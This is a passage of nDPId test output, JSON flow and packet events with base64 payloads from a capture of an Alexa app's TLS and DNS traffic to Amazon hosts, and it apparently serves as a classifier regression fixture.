+00821{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":69,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1490976029248,"flow_last_seen":1490976029387,"flow_tot_l4_data_len":1877,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.197","src_port":55242,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02381{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":387805,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc9fpAAPMGrx00VdHFrBAq2AG718qLhBi707KOZYAQAHbKZwAAAQEICm0J5usA9knGYmvQUZ53FuMTg6CV6NkRgpIId6RFAiEAtsbIk\/ABqDCVGcUPmKoTVnNJM7q5p2coRrM8lxbaxGcwDQYJKoZIhvcNAQELBQADggEBADrkqWwDHG2B+zTmpXTLBOozqobMGQwiAnMmkKH05H5f5JOt+OmGctCU7Ai4fGIXShWmGx\/2hhbpNhCKYEgqgWk\/3hZsbaiOyvf1gnqSIOG523d5\/bhCdncC2dczk4tW\/jqLBmy3hPB3A7f8hqWfuqXexVfv7XfKxwRd\/B8xPQkjXLOX69ny1Hptzlf0erCO4AMl6UiY+z9PGyEO3clGFtS4pwXGNoRwS1GqgZ6aBmASlGeJ9RIG+eXTUhXNvvUMZa4GnHSqumu4wBRTWU4muD+vBAxJcLaVJkOIOfVyMrTP5cuLvHzo3\/uNbrMqHlGNKCuvoftmGLC3CknMuyNPUJcABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSw="} +01213{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":387940,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"ePiC0\/vCAMDKkVoBCABFAAJy9ftAAPMGsoY0VdHFrBAq2AG718qLhB5j07KOZYAYAHbVeAAAAQEICm0J5usA9knG+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMBTQwAAUkDABdBBPzMx8TOUh8k1r+fegw7wgtWljJgphBkEBMWhqW+sE7+pNfMMqzHIvysc0mcSYAsbpDkK\/3bMqVMoSTWqiIFwzIGAQEAaSQfcVECH6uvn+A6vmjR8w5CVPZmyjBFCOrJkytVISiS+\/+WYz\/jchUSzMQYQHDICH6pXf24TZQO+HkmgYhVM8birBo+mdePIyFGPX4AIUy+P3nCBcl0WZGUMltILeVhqxyzmUX3c3Ea8oX268svQxQYuHV52e2fK4ApMSwnxQyoWxA9rFmqERwwE66tvhydadNZX6l5rsPPNxKB+N8OQF2R\/Y+mreWkpYaydIV1DRrifXswzalurERmkrOrXYPtozVJG3YBD\/e1Jv7PaDNb6rhHxJkUPIZuwURxXW0nwWBAT2MVNXkI4b7YOKFwJ3+ddHr1DqachB7bc1RPOvLgVxYDAwAEDgAAAA=="} +01298{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":71,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":16,"flow_packet_id":8,"flow_first_seen":1490976029248,"flow_last_seen":1490976029387,"flow_tot_l4_data_len":3963,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":495,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.197","src_port":55242,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","server_names":"amazon.com,amzn.com,uedata.amazon.com,us.amazon.com,www.amazon.com,www.amzn.com,corporate.amazon.com,buybox.amazon.com,iphone.amazon.com,yp.amazon.com,home.amazon.com,origin-www.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=www.amazon.com","fingerprint":"EF:14:6C:F1:5C:4A:F8:4D:BA:83:C2:1E:6C:5B:ED:C4:FA:34:1C:3E"}} +00429{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":390112,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0xD5AAEAGmYKsECrYNFXRxdfKAbvTso5li4QYu4AQAWIZxQAAAQEICgD2ScptCebr"} +00430{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":391909,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0xD9AAEAGmYGsECrYNFXRxdfKAbvTso5li4QeY4AQAW0UEQAAAQEICgD2ScttCebr"} +00430{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":395479,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0xEBAAEAGmYCsECrYNFXRxdfKAbvTso5li4QgoYAQAXkRxwAAAQEICgD2ScttCebr"} +00605{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":573237,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACyxEFAAEAGmQGsECrYNFXRxdfKAbvTso5li4QgoYAYAXnSPAAAAQEICgD2Sd1tCebrFgMDAEYQAABCQQSj2GeJRHQxFBZsnO4zTWRsXkdgYhWJ\/EFwvt0pPG4uTLv7gUeFuUDNQEW\/msOnHJtpqawiLAJYjOXvwxYZGu\/yFAMDAAEBFgMDAChTjGQvT9dDrB3JN9bwikL8mvqNT2\/r7J651YOtr+pbmQJohBcgkNdt"} +00762{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":615366,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"ePiC0\/vCAMDKkVoBCABFAAEm9fxAAPMGs9E0VdHFrBAq2AG718qLhCCh07KO44AYAHakNQAAAQEICm0J5wMA9kndFgMDALoEAAC2AAAqMACwVFa0PclIpB\/guv14R\/HQ9H\/jalGzV7EvNl8eRaM6rfwATbsnQL+mEOp3WJA8tt3iJeTbU1fTRm1ahkKIzXD1rM3HYrAFFJWxuro7R2RKPwcSKgZYp3xYQmCF3dsYONqPFd2VHbwiYGKafu1C4SPI8xENEtlFTIonqCRmOjB5RVBgqoIrBBC2oN+15Kr6pUOvh3cgfsprLFFQ3pLChfqTgbke\/FeZ+\/LMZnhtEzXXdeYUAwMAAQEWAwMAKNB2GQLBVKtI4KJEpORCeTQJYS3XXx29sXHBIMDdNL4yoP0FMgPaUhk="} +00430{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":617749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0xEJAAEAGmX6sECrYNFXRxdfKAbvTso7ji4Qhk4AQAYQQHgAAAQEICgD2SeFtCecD"} +02288{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":637775,"pkt_caplen":1430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1430,"pkt_l4_len":1396,"pkt":"AMDKkaPvePiC0\/vCCABFAAWIxENAAEAGlCmsECrYNFXRxdfKAbvTso7ji4Qhk4AYAYTo+wAAAQEICgD2SeNtCecDFwMDBU9TjGQvT9dDrd69i1qiY\/boODLY8MAmuCHYx+nUFCs9M5mwTHUKLyAQVtgQjHuI8OesbCrRIRUa8sG08vNTpGT83hLxQ5v4xfY491JwZHdlrT5zSHchq9wmK7GSAVLnC2w2A\/MOofGRH\/1dSQmuaf9MlzPLyw9IG9FhyVLl2pkS\/c5jkGNS69Ut+wzsyX0Il\/0vi0my4KW4+FMZL1vmej7ZlAFKr9IJtwJ97V6onObB5xaccRyMkhOdUFUoDlY4l+PGYtSj3bm9moS7HbUyMUFpb9F3lTuGnHh++5fyuAYNq+XdCb4kP2aShGTVp961R6zmOf+KSyVL0tE\/8s5SQ2WICLd2KbXV0Tkx77rFRVSpZsyx22nD7BB3d3TUfnEbVm0HxfTIGhri6GNvgBhiEQYo9YmP4MjbzwL7cqCUn\/5\/ZtWEmUg5PMUE03UWezIMy14yNJa+utwmh8KqGUSPfkHKv7YidS8q5d3df\/NqlbJjnZc5Sg3g7+N922TsHtDcKT2JlSkyiXvbMIwm+mWPLLGVJ0470xicMVqnYmB2ejnbvGIbQHQJRIvcHOy6HN1bZI4mCRj7hTKMCdS7r1zRYrVSEvKEPX5qNAs9ci7q+Z6jwBX0ZPOLBcGVWZtpf3bjlTXmHi82zlrgHroNnlvCTSy6eM3hNaWsA4Rqq\/wWcqTUtNOtz+Ql6VCOekG18a\/bi\/QvRSWnc3COvxKj8VAjf7izFBEYiNB5Mh1cv2YS\/G3YPONNBC0bTtbfl\/xfUYKPs3BC8nL+ljMHfAMLgYfbWA4o1UdTBj6OxF7VBgQBf\/d8VZ+oL5LQXmx0lUz0iKcIw2vXLgPEVBbOK3Xz+UbePj87xFgxMpNnHGSJ7gBdCfB1qzA\/o6voAW0Q5NhtATD0DU+HsGdIakUJBvGUHN6i9mcovHPyBppqxvV4xn04wkJHRsomPbe5g5nhPK4biigAb1J\/MwWFSfmuDFI4INkB14th6G1BzDMnhsyXFokbUfe7ywuSTJt8krYBJMPJ6Uje14DRvOm5bek4O5fVhVXngS7\/+VFXmx+F7XjIIHxTPzEuVKmlQsFm\/7PLbOhXha0gCLr6q5cuQ9pEkd3+tR2NXjuM+EsOxTX582aHCOflTIPKrWNo1CtWpT1HYMtaOz6SxAJKKUyt6JrrTAA2jErGHu8HIcBGGslJnPla9wib\/AG\/RBFylE\/uEYdPR6IlZF0fxHM8BZWfOLiL8Xyr5NUxwdsXaRLayTQ01odss0Z\/xn923TV+\/mhrkXTUGWJ2pSE6eM3evxBFquQluaLfHCd7d87ooSpQE8qz6K2+GWs+VgEhttmf4ctce14W27UpVlINpsejsn3oN1gqsnDy1+QWHnbdR8KCSNSbH+okXCBN90vYIATvFn0OWS52rmeOLECtVplAJAwB3RQ7EP5VFAiU\/pYPD8ro0DG8bAkRD2r5ypV8fq8KLDEc66MB0KgvbEH6aWXPYiFb1ebh+PC+\/DSIFAsczvJunOtNxvwep\/smJ2tIMP6p9rulcHkDxWqo1H20MG9dLEUOuWnyDxd3kHDs8Y3tpbh+TwDG0vuovl+RMLOQzUnRx8GrUj+cPcgUy0RQypCCI26CRneNNM9ORaxlPCGIbUFZg+dipcEIqRgM0u\/3r5ErMwtfIkGTA4HWwVLL0GhtjDQ4Y5PKqhlMxNm658LXDLidtvI5NMMzpWoA1X3rN0+wd3U+oPUy\/RIhnyzllknZMf\/FIAnRrtWCCVfcKcSjoYtklIuf5vhQyD\/wUgAmz5Od\/9N9BtFq1gGRX6R8UC8UM8KUL1CKhrhDuhXHXmk="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1490976029669,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":19967,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":669574,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"AMDKkaPvePiC0\/vCCABFAABGWk9AAEARM16sECrYrBAqAU3\/ADUAMlRV5qsBAAABAAAAAAAABG1hZHMPYW1hem9uLWFkc3lzdGVtA2NvbQAAAQAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1490976029669,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":19967,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mads.amazon-adsystem.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00511{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":753315,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"ePiC0\/vCAMDKkaPvCABFAABw0QhAAEARvHqsECoBrBAq2AA1Tf8AXGjL5quBgAABAAIAAAAABG1hZHMPYW1hem9uLWFkc3lzdGVtA2NvbQAAAQABwAwABQABAAACoQAOBG1hZHMGYW1hem9uwCHANgABAAEAAAAGAAQ0XugA"} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":80,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1490976029669,"flow_last_seen":1490976029753,"flow_tot_l4_data_len":142,"flow_min_l4_data_len":50,"flow_max_l4_data_len":92,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":19967,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"mads.amazon-adsystem.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.94.232.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1490976029756,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.0","src_port":33556,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":756146,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8YepAAEAG5YqsECrYNF7oAIMUAbsV\/ygFAAAAAKAC\/\/9G\/wAAAgQFtAQCCAoA9knvAAAAAAEDAwg="} +00426{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":858463,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw9PhAAOcGq4c0XugArBAq2AG7gxTPTpIKFf8oBnASH\/5MlgAAAgQFtAEDAwY="} +00414{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":859802,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoYetAAEAG5Z2sECrYNF7oAIMUAbsV\/ygGz06SC1AQAVeXBwAA"} +00726{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":862221,"pkt_caplen":285,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":285,"pkt_l4_len":251,"pkt":"AMDKkaPvePiC0\/vCCABFAAEPYexAAEAG5LWsECrYNF7oAIMUAbsV\/ygGz06SC1AYAVe0ugAAFgMBAOIBAADeAwPKXhDT4mBwzwJLaYeyeukYihakDqOb9JFzyzNNj0iN1AAALMArwCzAL8AwAJ4An8AJwArAE8AUADMAOQAyADjAB8ARAJwAnQAvADUABQD\/AQAAiQAAAB0AGwAAGG1hZHMuYW1hem9uLWFkc3lzdGVtLmNvbQALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwAAAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgID"} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":84,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1490976029756,"flow_last_seen":1490976029862,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":20,"flow_max_l4_data_len":251,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.0","src_port":33556,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mads.amazon-adsystem.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00421{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":30696,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo+q5AAOcGpdk0XugArBAq2AG7gxTPTpILFf8o7VAQf\/wXewAAAAAAAAAA"} +00421{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":30833,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAolwhAANQGHIA0XugArBAq2AG7gxTPTpILFf8o7VAQf\/wXewAAAAAAAAAA"} +02379{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976030,"pkt_ts_usec":31163,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXclwlAANQGFss0XugArBAq2AG7gxTPTpILFf8o7VAQf\/z6oAAAFgMDAFkCAABVAwNlwtDt1+129\/ts0wfs5IXAeZoTW74Qi4hFVGruYDFmbSD6hNqT7V8NMSlsTBXaJXvwdh\/mwJmG72JTwvhtDtGMN8AvAAAN\/wEAAQAACwAEAwABAhYDAwtGCwALQgALPwAF\/TCCBfkwggThoAMCAQICEBVhvoqjKV5laolbo4dEzZcwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA5MjMwMDAwMDBaFw0xNzEwMjIyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRkwFwYDVQQKDBBBbWF6b24uY29tLCBJbmMuMRgwFgYDVQQDDA9tYWRzLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC7tQZ1n1d3JyMr1HGhDCCUdS7Wse1z5GFWBISK3pX\/b99sSTgcs3yTX4G3iGfYdC7A2q38+o1MFIlXlIuvO93xotlvWFuW2i+xn0G0MMirFGwLcjo26u7mLPymXoSG0OEijYu9Wpr4npMF0yhmvJG1J4tqawlqyvPUAa0g\/wsk2yg+gIPxQbsH+cJptjcdhErAGSX8Oa11cGlzfP663vxr+SUa0KPD+NeuGJAqYamTckhcwWlKk\/sk9P5ZHIxQo5ZL6VtlkH675DoxgW9Gxrr1jQ1EyJJGDetpGSApYGqIbkGJY6T1UV5kcWtC2kpQnQsQk6nN4pRg8AcJsM3K52zDAgMBAAGjggKGMIICgjA0BgNVHREELTArghhtYWRzLmFtYXpvbi1hZHN5c3RlbS5jb22CD21hZHMuYW1hem9uLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABV1SLqE0AAAQDAEcwRQIgXGqJyUBdirUS9lZWmr5JHMTrALbT0SwDURIaYBVASM8CIQDq5lxpAOOkVbMEZqKns3iJFn8756qx8Zlv\/CNDBAkd1wB2AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABV1SLqI4AAAQDAEcwRQIhAKSM+7iHPkddNrwntojww5ukktkhcTKjA2yMJcfT3l3FAiAZ3Pftas3dIcUgdDX3bl4NvadpT6